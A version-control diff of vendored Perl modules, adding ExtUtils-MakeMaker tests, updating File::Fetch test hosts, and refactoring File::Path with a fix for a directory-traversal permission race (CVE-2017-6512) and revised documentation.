--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/metafile_data.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/metafile_data.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,7 +17,7 @@
 use Cwd;
 use MakeMaker::Test::Utils;
 
-plan tests => 31;
+plan tests => 35;
 require ExtUtils::MM_Any;
 
 sub mymeta_ok {
@@ -262,6 +262,110 @@
     },'TEST_REQUIRES meta-spec 2.0';
 }
 
+{
+    my $mm = $new_mm->(
+        @GENERIC_IN,
+    );
+    is_deeply $mm->metafile_data(
+        {
+            resources => {
+                homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+                repository => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+            },
+        },
+        { @METASPEC14 },
+    ), {
+        prereqs => { @REQ20 },
+        resources => {
+            homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+            repository => {
+                url => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+            },
+        },
+        @GENERIC_OUT,
+    }, 'META_ADD takes meta version 1.4 from META_MERGE';
+}
+
+{
+    my $mm = $new_mm->(
+        @GENERIC_IN,
+    );
+    is_deeply $mm->metafile_data(
+        { @METASPEC14 },
+        {
+            resources => {
+                homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+                repository => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+            },
+        },
+    ), {
+        prereqs => { @REQ20 },
+        resources => {
+            homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+            repository => {
+                url => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+            },
+        },
+        @GENERIC_OUT,
+    }, 'META_MERGE takes meta version 1.4 from META_ADD';
+}
+
+{
+    my $mm = $new_mm->(
+        @GENERIC_IN,
+    );
+    is_deeply $mm->metafile_data(
+        {
+            'configure_requires' => {
+                'Fake::Module1' => 1,
+            },
+            'prereqs' => {
+                @REQ20,
+                'test' => {
+                    'requires' => {
+                        'Fake::Module2' => 2,
+                    },
+                },
+            },
+        },
+        { @METASPEC20 },
+    ), {
+        prereqs => {
+            @REQ20,
+            test => { requires => { "Fake::Module2" => 2, }, },
+        },
+        @GENERIC_OUT,
+    }, 'META_ADD takes meta version 2 from META_MERGE';
+}
+
+{
+    my $mm = $new_mm->(
+        @GENERIC_IN,
+    );
+    is_deeply $mm->metafile_data(
+        { @METASPEC20 },
+        {
+            'configure_requires' => {
+                'Fake::Module1' => 1,
+            },
+            'prereqs' => {
+                @REQ20,
+                'test' => {
+                    'requires' => {
+                        'Fake::Module2' => 2,
+                    },
+                },
+            },
+        },
+    ), {
+        prereqs => {
+            @REQ20,
+            test => { requires => { "Fake::Module2" => 2, }, },
+        },
+        @GENERIC_OUT,
+    }, 'META_MERGE takes meta version 2 from META_ADD';
+}
+
 # Test _REQUIRES key priority over META_ADD
 {
     my $mm = $new_mm->(

Added: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/os_unsupported.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/os_unsupported.t	                        (rev 0)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/os_unsupported.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,15 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+    unshift @INC, 't/lib';
+}
+
+use strict;
+use Test::More tests => 1;
+use ExtUtils::MakeMaker;
+
+eval q{
+    os_unsupported();
+};
+
+like( $@, qr/^OS unsupported$/, 'OS Unsupported' );

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/parse_version.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/parse_version.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/parse_version.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -23,7 +23,7 @@
                 '$VERSION = undef'              => 'undef',
                 '$wibble  = 1.0'                => undef,
                 q[my $VERSION = '1.01']         => 'undef',
-                q[local $VERISON = '1.02']      => 'undef',
+                q[local $VERSION = '1.02']      => 'undef',
                 q[local $FOO::VERSION = '1.30'] => 'undef',
                 q[if( $Foo::VERSION >= 3.00 ) {]=> 'undef',
                 q[our $VERSION = '1.23';]       => '1.23',

Modified: vendor/perl/dist/cpan/File-Fetch/lib/File/Fetch.pm
===================================================================
--- vendor/perl/dist/cpan/File-Fetch/lib/File/Fetch.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/File-Fetch/lib/File/Fetch.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,13 +22,13 @@
                 $FTP_PASSIVE $TIMEOUT $DEBUG $WARN $FORCEIPV4
             ];
 
-$VERSION        = '0.52';
+$VERSION        = '0.56';
 $VERSION        = eval $VERSION;    # avoid warnings with development releases
 $PREFER_BIN     = 0;                # XXX TODO implement
 $FROM_EMAIL     = 'File-Fetch at example.com';
 $USER_AGENT     = "File::Fetch/$VERSION";
 $BLACKLIST      = [qw|ftp|];
-push @$BLACKLIST, qw|lftp| if $^O eq 'dragonfly';
+push @$BLACKLIST, qw|lftp| if $^O eq 'dragonfly' || $^O eq 'hpux';
 $METHOD_FAIL    = { };
 $FTP_PASSIVE    = 1;
 $TIMEOUT        = 0;

Modified: vendor/perl/dist/cpan/File-Fetch/t/01_File-Fetch.t
===================================================================
--- vendor/perl/dist/cpan/File-Fetch/t/01_File-Fetch.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/File-Fetch/t/01_File-Fetch.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -195,14 +195,15 @@
 ### Heuristics
 {
   require IO::Socket::INET;
-  my $sock = IO::Socket::INET->new( PeerAddr => 'www.cpan.org', PeerPort => 80, Timeout => 20 )
+  my $sock = IO::Socket::INET->new( PeerAddr => 'httpbin.org', PeerPort => 80, Timeout => 20 )
      or $heuristics{http} = 0;
 }
 
 ### http:// tests ###
-{   for my $uri ( 'http://www.cpan.org/index.html',
-                  'http://www.cpan.org/index.html?q=1',
-                  'http://www.cpan.org/index.html?q=1&y=2',
+{   for my $uri ( 'http://httpbin.org/html',
+                  'http://httpbin.org/response-headers?q=1',
+                  'http://httpbin.org/response-headers?q=1&y=2',
+                  #'http://www.cpan.org/index.html?q=1&y=2',
                   #'http://user:passwd@httpbin.org/basic-auth/user/passwd',
     ) {
         for (qw[lwp httptiny wget curl lftp fetch lynx httplite iosock]) {

Modified: vendor/perl/dist/cpan/File-Path/lib/File/Path.pm
===================================================================
--- vendor/perl/dist/cpan/File-Path/lib/File/Path.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/File-Path/lib/File/Path.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,7 +18,7 @@
 
 use Exporter ();
 use vars qw($VERSION @ISA @EXPORT @EXPORT_OK);
-$VERSION   = '2.12_01';
+$VERSION   = '2.15';
 $VERSION   = eval $VERSION;
 @ISA       = qw(Exporter);
 @EXPORT    = qw(mkpath rmtree);
@@ -85,7 +85,7 @@
 sub mkpath {
     my $old_style = !( @_ and __is_arg( $_[-1] ) );
 
-    my $arg;
+    my $data;
     my $paths;
 
     if ($old_style) {
@@ -92,8 +92,8 @@
         my ( $verbose, $mode );
         ( $paths, $verbose, $mode ) = @_;
         $paths = [$paths] unless UNIVERSAL::isa( $paths, 'ARRAY' );
-        $arg->{verbose} = $verbose;
-        $arg->{mode} = defined $mode ? $mode : oct '777';
+        $data->{verbose} = $verbose;
+        $data->{mode} = defined $mode ? $mode : oct '777';
     }
     else {
         my %args_permitted = map { $_ => 1 } ( qw|
@@ -107,55 +107,74 @@
             user
             verbose
         | );
+        my %not_on_win32_args = map { $_ => 1 } ( qw|
+            group
+            owner
+            uid
+            user
+        | );
         my @bad_args = ();
-        $arg = pop @_;
+        my @win32_implausible_args = ();
+        my $arg = pop @_;
         for my $k (sort keys %{$arg}) {
-            push @bad_args, $k unless $args_permitted{$k};
-        }
-        _carp("Unrecognized option(s) passed to make_path(): @bad_args")
-            if @bad_args;
-        $arg->{mode} = delete $arg->{mask} if exists $arg->{mask};
-        $arg->{mode} = oct '777' unless exists $arg->{mode};
-        ${ $arg->{error} } = [] if exists $arg->{error};
-        $arg->{owner} = delete $arg->{user} if exists $arg->{user};
-        $arg->{owner} = delete $arg->{uid}  if exists $arg->{uid};
-        if ( exists $arg->{owner} and $arg->{owner} =~ /\D/ ) {
-            my $uid = ( getpwnam $arg->{owner} )[2];
-            if ( defined $uid ) {
-                $arg->{owner} = $uid;
+            if (! $args_permitted{$k}) {
+                push @bad_args, $k;
             }
+            elsif ($not_on_win32_args{$k} and _IS_MSWIN32) {
+                push @win32_implausible_args, $k;
+            }
             else {
-                _error( $arg,
-"unable to map $arg->{owner} to a uid, ownership not changed"
-                );
-                delete $arg->{owner};
+                $data->{$k} = $arg->{$k};
             }
         }
-        if ( exists $arg->{group} and $arg->{group} =~ /\D/ ) {
-            my $gid = ( getgrnam $arg->{group} )[2];
-            if ( defined $gid ) {
-                $arg->{group} = $gid;
+        _carp("Unrecognized option(s) passed to mkpath() or make_path(): @bad_args")
+            if @bad_args;
+        _carp("Option(s) implausible on Win32 passed to mkpath() or make_path(): @win32_implausible_args")
+            if @win32_implausible_args;
+        $data->{mode} = delete $data->{mask} if exists $data->{mask};
+        $data->{mode} = oct '777' unless exists $data->{mode};
+        ${ $data->{error} } = [] if exists $data->{error};
+        unless (@win32_implausible_args) {
+            $data->{owner} = delete $data->{user} if exists $data->{user};
+            $data->{owner} = delete $data->{uid}  if exists $data->{uid};
+            if ( exists $data->{owner} and $data->{owner} =~ /\D/ ) {
+                my $uid = ( getpwnam $data->{owner} )[2];
+                if ( defined $uid ) {
+                    $data->{owner} = $uid;
+                }
+                else {
+                    _error( $data,
+                            "unable to map $data->{owner} to a uid, ownership not changed"
+                          );
+                    delete $data->{owner};
+                }
             }
-            else {
-                _error( $arg,
-"unable to map $arg->{group} to a gid, group ownership not changed"
-                );
-                delete $arg->{group};
+            if ( exists $data->{group} and $data->{group} =~ /\D/ ) {
+                my $gid = ( getgrnam $data->{group} )[2];
+                if ( defined $gid ) {
+                    $data->{group} = $gid;
+                }
+                else {
+                    _error( $data,
+                            "unable to map $data->{group} to a gid, group ownership not changed"
+                    );
+                    delete $data->{group};
+                }
             }
+            if ( exists $data->{owner} and not exists $data->{group} ) {
+                $data->{group} = -1;    # chown will leave group unchanged
+            }
+            if ( exists $data->{group} and not exists $data->{owner} ) {
+                $data->{owner} = -1;    # chown will leave owner unchanged
+            }
         }
-        if ( exists $arg->{owner} and not exists $arg->{group} ) {
-            $arg->{group} = -1;    # chown will leave group unchanged
-        }
-        if ( exists $arg->{group} and not exists $arg->{owner} ) {
-            $arg->{owner} = -1;    # chown will leave owner unchanged
-        }
         $paths = [@_];
     }
-    return _mkpath( $arg, $paths );
+    return _mkpath( $data, $paths );
 }
 
 sub _mkpath {
-    my $arg   = shift;
+    my $data   = shift;
     my $paths = shift;
 
     my ( @created );
@@ -170,30 +189,43 @@
         }
         next if -d $path;
         my $parent = File::Basename::dirname($path);
+        # Coverage note:  It's not clear how we would test the condition:
+        # '-d $parent or $path eq $parent'
         unless ( -d $parent or $path eq $parent ) {
-            push( @created, _mkpath( $arg, [$parent] ) );
+            push( @created, _mkpath( $data, [$parent] ) );
         }
-        print "mkdir $path\n" if $arg->{verbose};
-        if ( mkdir( $path, $arg->{mode} ) ) {
+        print "mkdir $path\n" if $data->{verbose};
+        if ( mkdir( $path, $data->{mode} ) ) {
             push( @created, $path );
-            if ( exists $arg->{owner} ) {
+            if ( exists $data->{owner} ) {
 
-                # NB: $arg->{group} guaranteed to be set during initialisation
-                if ( !chown $arg->{owner}, $arg->{group}, $path ) {
-                    _error( $arg,
-"Cannot change ownership of $path to $arg->{owner}:$arg->{group}"
+                # NB: $data->{group} guaranteed to be set during initialisation
+                if ( !chown $data->{owner}, $data->{group}, $path ) {
+                    _error( $data,
+                        "Cannot change ownership of $path to $data->{owner}:$data->{group}"
                     );
                 }
             }
-            if ( exists $arg->{chmod} ) {
-                if ( !chmod $arg->{chmod}, $path ) {
-                    _error( $arg,
-                        "Cannot change permissions of $path to $arg->{chmod}" );
+            if ( exists $data->{chmod} ) {
+                # Coverage note:  It's not clear how we would trigger the next
+                # 'if' block.  Failure of 'chmod' might first result in a
+                # system error: "Permission denied".
+                if ( !chmod $data->{chmod}, $path ) {
+                    _error( $data,
+                        "Cannot change permissions of $path to $data->{chmod}" );
                 }
             }
         }
         else {
             my $save_bang = $!;
+
+            # From 'perldoc perlvar': $EXTENDED_OS_ERROR ($^E) is documented
+            # as:
+            # Error information specific to the current operating system. At the
+            # moment, this differs from "$!" under only VMS, OS/2, and Win32
+            # (and for MacPerl). On all other platforms, $^E is always just the
+            # same as $!.
+
             my ( $e, $e1 ) = ( $save_bang, $^E );
             $e .= "; $e1" if $e ne $e1;
 
@@ -200,8 +232,8 @@
             # allow for another process to have created it meanwhile
             if ( ! -d $path ) {
                 $! = $save_bang;
-                if ( $arg->{error} ) {
-                    push @{ ${ $arg->{error} } }, { $path => $e };
+                if ( $data->{error} ) {
+                    push @{ ${ $data->{error} } }, { $path => $e };
                 }
                 else {
                     _croak("mkdir $path: $e");
@@ -238,14 +270,13 @@
 sub rmtree {
     my $old_style = !( @_ and __is_arg( $_[-1] ) );
 
-    my $arg;
-    my $paths;
+    my ($arg, $data, $paths);
 
     if ($old_style) {
         my ( $verbose, $safe );
         ( $paths, $verbose, $safe ) = @_;
-        $arg->{verbose} = $verbose;
-        $arg->{safe} = defined $safe ? $safe : 0;
+        $data->{verbose} = $verbose;
+        $data->{safe} = defined $safe ? $safe : 0;
 
         if ( defined($paths) and length($paths) ) {
             $paths = [$paths] unless UNIVERSAL::isa( $paths, 'ARRAY' );
@@ -264,26 +295,41 @@
             verbose
         | );
         my @bad_args = ();
-        $arg = pop @_;
+        my $arg = pop @_;
         for my $k (sort keys %{$arg}) {
-            push @bad_args, $k unless $args_permitted{$k};
+            if (! $args_permitted{$k}) {
+                push @bad_args, $k;
+            }
+            else {
+                $data->{$k} = $arg->{$k};
+            }
         }
         _carp("Unrecognized option(s) passed to remove_tree(): @bad_args")
             if @bad_args;
-        ${ $arg->{error} }  = [] if exists $arg->{error};
-        ${ $arg->{result} } = [] if exists $arg->{result};
+        ${ $data->{error} }  = [] if exists $data->{error};
+        ${ $data->{result} } = [] if exists $data->{result};
+
+        # Wouldn't it make sense to do some validation on @_ before assigning
+        # to $paths here?
+        # In the $old_style case we guarantee that each path is both defined
+        # and non-empty.  We don't check that here, which means we have to
+        # check it later in the first condition in this line:
+        #     if ( $ortho_root_length && _is_subdir( $ortho_root, $ortho_cwd ) ) {
+        # Granted, that would be a change in behavior for the two
+        # non-old-style interfaces.
+
         $paths = [@_];
     }
 
-    $arg->{prefix} = '';
-    $arg->{depth}  = 0;
+    $data->{prefix} = '';
+    $data->{depth}  = 0;
 
     my @clean_path;
-    $arg->{cwd} = getcwd() or do {
-        _error( $arg, "cannot fetch initial working directory" );
+    $data->{cwd} = getcwd() or do {
+        _error( $data, "cannot fetch initial working directory" );
         return 0;
     };
-    for ( $arg->{cwd} ) { /\A(.*)\Z/s; $_ = $1 }    # untaint
+    for ( $data->{cwd} ) { /\A(.*)\Z/s; $_ = $1 }    # untaint
 
     for my $p (@$paths) {
 
@@ -290,12 +336,12 @@
         # need to fixup case and map \ to / on Windows
         my $ortho_root = _IS_MSWIN32 ? _slash_lc($p) : $p;
         my $ortho_cwd =
-          _IS_MSWIN32 ? _slash_lc( $arg->{cwd} ) : $arg->{cwd};
+          _IS_MSWIN32 ? _slash_lc( $data->{cwd} ) : $data->{cwd};
         my $ortho_root_length = length($ortho_root);
         $ortho_root_length-- if _IS_VMS;   # don't compare '.' with ']'
         if ( $ortho_root_length && _is_subdir( $ortho_root, $ortho_cwd ) ) {
             local $! = 0;
-            _error( $arg, "cannot remove path when cwd is $arg->{cwd}", $p );
+            _error( $data, "cannot remove path when cwd is $data->{cwd}", $p );
             next;
         }
 
@@ -312,16 +358,16 @@
         push @clean_path, $p;
     }
 
-    @{$arg}{qw(device inode perm)} = ( lstat $arg->{cwd} )[ 0, 1 ] or do {
-        _error( $arg, "cannot stat initial working directory", $arg->{cwd} );
+    @{$data}{qw(device inode)} = ( lstat $data->{cwd} )[ 0, 1 ] or do {
+        _error( $data, "cannot stat initial working directory", $data->{cwd} );
         return 0;
     };
 
-    return _rmtree( $arg, \@clean_path );
+    return _rmtree( $data, \@clean_path );
 }
 
 sub _rmtree {
-    my $arg   = shift;
+    my $data   = shift;
     my $paths = shift;
 
     my $count  = 0;
@@ -339,8 +385,8 @@
         # opposed to being truly canonical, anchored from the root (/).
 
         my $canon =
-          $arg->{prefix}
-          ? File::Spec->catfile( $arg->{prefix}, $root )
+          $data->{prefix}
+          ? File::Spec->catfile( $data->{prefix}, $root )
           : $root;
 
         my ( $ldev, $lino, $perm ) = ( lstat $root )[ 0, 1, 2 ]
@@ -354,22 +400,33 @@
 
                 # see if we can escalate privileges to get in
                 # (e.g. funny protection mask such as -w- instead of rwx)
-                $perm &= oct '7777';
-                my $nperm = $perm | oct '700';
-                if (
-                    !(
-                           $arg->{safe}
-                        or $nperm == $perm
-                        or chmod( $nperm, $root )
-                    )
-                  )
-                {
-                    _error( $arg,
-                        "cannot make child directory read-write-exec", $canon );
-                    next ROOT_DIR;
+                # This uses fchmod to avoid traversing outside of the proper
+                # location (CVE-2017-6512)
+                my $root_fh;
+                if (open($root_fh, '<', $root)) {
+                    my ($fh_dev, $fh_inode) = (stat $root_fh )[0,1];
+                    $perm &= oct '7777';
+                    my $nperm = $perm | oct '700';
+                    local $@;
+                    if (
+                        !(
+                            $data->{safe}
+                           or $nperm == $perm
+                           or !-d _
+                           or $fh_dev ne $ldev
+                           or $fh_inode ne $lino
+                           or eval { chmod( $nperm, $root_fh ) }
+                        )
+                      )
+                    {
+                        _error( $data,
+                            "cannot make child directory read-write-exec", $canon );
+                        next ROOT_DIR;
+                    }
+                    close $root_fh;
                 }
-                elsif ( !chdir($root) ) {
-                    _error( $arg, "cannot chdir to child", $canon );
+                if ( !chdir($root) ) {
+                    _error( $data, "cannot chdir to child", $canon );
                     next ROOT_DIR;
                 }
             }
@@ -376,7 +433,7 @@
 
             my ( $cur_dev, $cur_inode, $perm ) = ( stat $curdir )[ 0, 1, 2 ]
               or do {
-                _error( $arg, "cannot stat current working directory", $canon );
+                _error( $data, "cannot stat current working directory", $canon );
                 next ROOT_DIR;
               };
 
@@ -397,13 +454,13 @@
 
             if (
                 !(
-                       $arg->{safe}
+                       $data->{safe}
                     or $nperm == $perm
                     or chmod( $nperm, $curdir )
                 )
               )
             {
-                _error( $arg, "cannot make directory read+writeable", $canon );
+                _error( $data, "cannot make directory read+writeable", $canon );
                 $nperm = $perm;
             }
 
@@ -410,7 +467,7 @@
             my $d;
             $d = gensym() if $] < 5.006;
             if ( !opendir $d, $curdir ) {
-                _error( $arg, "cannot opendir", $canon );
+                _error( $data, "cannot opendir", $canon );
                 @files = ();
             }
             else {
@@ -437,9 +494,9 @@
             if (@files) {
 
                 # remove the contained files before the directory itself
-                my $narg = {%$arg};
+                my $narg = {%$data};
                 @{$narg}{qw(device inode cwd prefix depth)} =
-                  ( $cur_dev, $cur_inode, $updir, $canon, $arg->{depth} + 1 );
+                  ( $cur_dev, $cur_inode, $updir, $canon, $data->{depth} + 1 );
                 $count += _rmtree( $narg, \@files );
             }
 
@@ -447,24 +504,24 @@
             # below fails), while we are still in the directory and may do so
             # without a race via '.'
             if ( $nperm != $perm and not chmod( $perm, $curdir ) ) {
-                _error( $arg, "cannot reset chmod", $canon );
+                _error( $data, "cannot reset chmod", $canon );
             }
 
             # don't leave the client code in an unexpected directory
-            chdir( $arg->{cwd} )
+            chdir( $data->{cwd} )
               or
-              _croak("cannot chdir to $arg->{cwd} from $canon: $!, aborting.");
+              _croak("cannot chdir to $data->{cwd} from $canon: $!, aborting.");
 
             # ensure that a chdir upwards didn't take us somewhere other
             # than we expected (see CVE-2002-0435)
             ( $cur_dev, $cur_inode ) = ( stat $curdir )[ 0, 1 ]
               or _croak(
-                "cannot stat prior working directory $arg->{cwd}: $!, aborting."
+                "cannot stat prior working directory $data->{cwd}: $!, aborting."
               );
 
             if (_NEED_STAT_CHECK) {
-                ( $arg->{device} eq $cur_dev and $arg->{inode} eq $cur_inode )
-                  or _croak(  "previous directory $arg->{cwd} "
+                ( $data->{device} eq $cur_dev and $data->{inode} eq $cur_inode )
+                  or _croak(  "previous directory $data->{cwd} "
                             . "changed before entering $canon, "
                             . "expected dev=$ldev ino=$lino, "
                             . "actual dev=$cur_dev ino=$cur_inode, aborting."
@@ -471,25 +528,25 @@
                   );
             }
 
-            if ( $arg->{depth} or !$arg->{keep_root} ) {
-                if ( $arg->{safe}
+            if ( $data->{depth} or !$data->{keep_root} ) {
+                if ( $data->{safe}
                     && ( _IS_VMS
                         ? !&VMS::Filespec::candelete($root)
                         : !-w $root ) )
                 {
-                    print "skipped $root\n" if $arg->{verbose};
+                    print "skipped $root\n" if $data->{verbose};
                     next ROOT_DIR;
                 }
                 if ( _FORCE_WRITABLE and !chmod $perm | oct '700', $root ) {
-                    _error( $arg, "cannot make directory writeable", $canon );
+                    _error( $data, "cannot make directory writeable", $canon );
                 }
-                print "rmdir $root\n" if $arg->{verbose};
+                print "rmdir $root\n" if $data->{verbose};
                 if ( rmdir $root ) {
-                    push @{ ${ $arg->{result} } }, $root if $arg->{result};
+                    push @{ ${ $data->{result} } }, $root if $data->{result};
                     ++$count;
                 }
                 else {
-                    _error( $arg, "cannot remove directory", $canon );
+                    _error( $data, "cannot remove directory", $canon );
                     if (
                         _FORCE_WRITABLE
                         && !chmod( $perm,
@@ -498,7 +555,7 @@
                       )
                     {
                         _error(
-                            $arg,
+                            $data,
                             sprintf( "cannot restore permissions to 0%o",
                                 $perm ),
                             $canon
@@ -515,7 +572,7 @@
               && ( $root !~ m/(?<!\^)[\]>]+/ );    # not already in VMS syntax
 
             if (
-                $arg->{safe}
+                $data->{safe}
                 && (
                     _IS_VMS
                     ? !&VMS::Filespec::candelete($root)
@@ -523,7 +580,7 @@
                 )
               )
             {
-                print "skipped $root\n" if $arg->{verbose};
+                print "skipped $root\n" if $data->{verbose};
                 next ROOT_DIR;
             }
 
@@ -532,19 +589,19 @@
                 and $nperm != $perm
                 and not chmod $nperm, $root )
             {
-                _error( $arg, "cannot make file writeable", $canon );
+                _error( $data, "cannot make file writeable", $canon );
             }
-            print "unlink $canon\n" if $arg->{verbose};
+            print "unlink $canon\n" if $data->{verbose};
 
             # delete all versions under VMS
             for ( ; ; ) {
                 if ( unlink $root ) {
-                    push @{ ${ $arg->{result} } }, $root if $arg->{result};
+                    push @{ ${ $data->{result} } }, $root if $data->{result};
                 }
                 else {
-                    _error( $arg, "cannot unlink file", $canon );
+                    _error( $data, "cannot unlink file", $canon );
                     _FORCE_WRITABLE and chmod( $perm, $root )
-                      or _error( $arg,
+                      or _error( $data,
                         sprintf( "cannot restore permissions to 0%o", $perm ),
                         $canon );
                     last;
@@ -576,41 +633,41 @@
 
 =head1 VERSION
 
-This document describes version 2.12 of File::Path.
+2.15 - released June 07 2017.
 
 =head1 SYNOPSIS
 
-  use File::Path qw(make_path remove_tree);
+    use File::Path qw(make_path remove_tree);
 
-  @created = make_path('foo/bar/baz', '/zug/zwang');
-  @created = make_path('foo/bar/baz', '/zug/zwang', {
-      verbose => 1,
-      mode => 0711,
-  });
-  make_path('foo/bar/baz', '/zug/zwang', {
-      chmod => 0777,
-  });
+    @created = make_path('foo/bar/baz', '/zug/zwang');
+    @created = make_path('foo/bar/baz', '/zug/zwang', {
+        verbose => 1,
+        mode => 0711,
+    });
+    make_path('foo/bar/baz', '/zug/zwang', {
+        chmod => 0777,
+    });
 
-  $removed_count = remove_tree('foo/bar/baz', '/zug/zwang');
-  $removed_count = remove_tree('foo/bar/baz', '/zug/zwang', {
-      verbose => 1,
-      error  => \my $err_list,
-  });
+    $removed_count = remove_tree('foo/bar/baz', '/zug/zwang', {
+        verbose => 1,
+        error  => \my $err_list,
+        safe => 1,
+    });
 
-  # legacy (interface promoted before v2.00)
-  @created = mkpath('/foo/bar/baz');
-  @created = mkpath('/foo/bar/baz', 1, 0711);
-  @created = mkpath(['/foo/bar/baz', 'blurfl/quux'], 1, 0711);
-  $removed_count = rmtree('foo/bar/baz', 1, 1);
-  $removed_count = rmtree(['foo/bar/baz', 'blurfl/quux'], 1, 1);
+    # legacy (interface promoted before v2.00)
+    @created = mkpath('/foo/bar/baz');
+    @created = mkpath('/foo/bar/baz', 1, 0711);
+    @created = mkpath(['/foo/bar/baz', 'blurfl/quux'], 1, 0711);
+    $removed_count = rmtree('foo/bar/baz', 1, 1);
+    $removed_count = rmtree(['foo/bar/baz', 'blurfl/quux'], 1, 1);
 
-  # legacy (interface promoted before v2.06)
-  @created = mkpath('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
-  $removed_count = rmtree('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
+    # legacy (interface promoted before v2.06)
+    @created = mkpath('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
+    $removed_count = rmtree('foo/bar/baz', '/zug/zwang', { verbose => 1, mode => 0711 });
 
 =head1 DESCRIPTION
 
-This module provide a convenient way to create directories of
+This module provides a convenient way to create directories of
 arbitrary depth and to delete an entire directory subtree from the
 filesystem.
 
@@ -623,7 +680,7 @@
 =item make_path( $dir1, $dir2, ...., \%opts )
 
 The C<make_path> function creates the given directories if they don't
-exists before, much like the Unix command C<mkdir -p>.
+exist before, much like the Unix command C<mkdir -p>.
 
 The function accepts a list of directories to be created. Its
 behaviour may be tuned by an optional hashref appearing as the last
@@ -639,7 +696,7 @@
 =item mode => $num
 
 The numeric permissions mode to apply to each created directory
-(defaults to 0777), to be modified by the current C<umask>. If the
+(defaults to C<0777>), to be modified by the current C<umask>. If the
 directory already exists (and thus does not need to be created),
 the permissions will not be modified.
 
@@ -675,9 +732,9 @@
 =item uid => $owner
 
 If present, will cause any created directory to be owned by C<$owner>.
-If the value is numeric, it will be interpreted as a uid, otherwise
-as username is assumed. An error will be issued if the username cannot be
-mapped to a uid, or the uid does not exist, or the process lacks the
+If the value is numeric, it will be interpreted as a uid; otherwise a
+username is assumed. An error will be issued if the username cannot be
+mapped to a uid, the uid does not exist or the process lacks the
 privileges to change ownership.
 
 Ownership of directories that already exist will not be changed.
@@ -686,11 +743,11 @@
 
 =item group => $group
 
-If present, will cause any created directory to be owned by the group C<$group>.
-If the value is numeric, it will be interpreted as a gid, otherwise
-as group name is assumed. An error will be issued if the group name cannot be
-mapped to a gid, or the gid does not exist, or the process lacks the
-privileges to change group ownership.
+If present, will cause any created directory to be owned by the group
+C<$group>.  If the value is numeric, it will be interpreted as a gid;
+otherwise a group name is assumed. An error will be issued if the
+group name cannot be mapped to a gid, the gid does not exist or the
+process lacks the privileges to change group ownership.
 
 Group ownership of directories that already exist will not be changed.
 
@@ -706,9 +763,10 @@
 
 =item mkpath( $dir1, $dir2,..., \%opt )
 
-The mkpath() function provide the legacy interface of make_path() with
-a different interpretation of the arguments passed.  The behaviour and
-return value of the function is otherwise identical to make_path().
+The C<mkpath()> function provide the legacy interface of
+C<make_path()> with a different interpretation of the arguments
+passed.  The behaviour and return value of the function is otherwise
+identical to C<make_path()>.
 
 =item remove_tree( $dir1, $dir2, .... )
 
@@ -716,17 +774,30 @@
 
 The C<remove_tree> function deletes the given directories and any
 files and subdirectories they might contain, much like the Unix
-command C<rm -r> or the Windows commands C<rmdir /s> and C<rd /s>. The
-only exception to the function similarity is C<remove_tree> accepts
-only directories whereas C<rm -r> also accepts files.
+command C<rm -rf> or the Windows commands C<rmdir /s> and C<rd /s>.
 
-The function accepts a list of directories to be
-removed. Its behaviour may be tuned by an optional hashref
+The function accepts a list of directories to be removed. (In point of fact,
+it will also accept filesystem entries which are not directories, such as
+regular files and symlinks.  But, as its name suggests, its intent is to
+remove trees rather than individual files.)
+
+C<remove_tree()>'s behaviour may be tuned by an optional hashref
 appearing as the last parameter on the call.  If an empty string is
 passed to C<remove_tree>, an error will occur.
 
-The functions returns the number of files successfully deleted.
+B<NOTE:>  For security reasons, we strongly advise use of the
+hashref-as-final-argument syntax -- specifically, with a setting of the C<safe>
+element to a true value.
 
+    remove_tree( $dir1, $dir2, ....,
+        {
+            safe => 1,
+            ...         # other key-value pairs
+        },
+    );
+
+The function returns the number of files successfully deleted.
+
 The following keys are recognised in the option hash:
 
 =over
@@ -751,7 +822,7 @@
 to be removed, except the initially specified directories. This comes
 in handy when cleaning out an application's scratch directory.
 
-  remove_tree( '/tmp', {keep_root => 1} );
+    remove_tree( '/tmp', {keep_root => 1} );
 
 =item result => \$res
 
@@ -760,8 +831,8 @@
 be used to store all files and directories unlinked
 during the call. If nothing is unlinked, the array will be empty.
 
-  remove_tree( '/tmp', {result => \my $list} );
-  print "unlinked $_\n" for @$list;
+    remove_tree( '/tmp', {result => \my $list} );
+    print "unlinked $_\n" for @$list;
 
 This is a useful alternative to the C<verbose> key.
 
@@ -791,11 +862,22 @@
 
 =item rmtree( $dir1, $dir2,..., \%opt )
 
-The rmtree() function provide the legacy interface of remove_tree()
-with a different interpretation of the arguments passed. The behaviour
-and return value of the function is otherwise identical to
-remove_tree().
+The C<rmtree()> function provide the legacy interface of
+C<remove_tree()> with a different interpretation of the arguments
+passed. The behaviour and return value of the function is otherwise
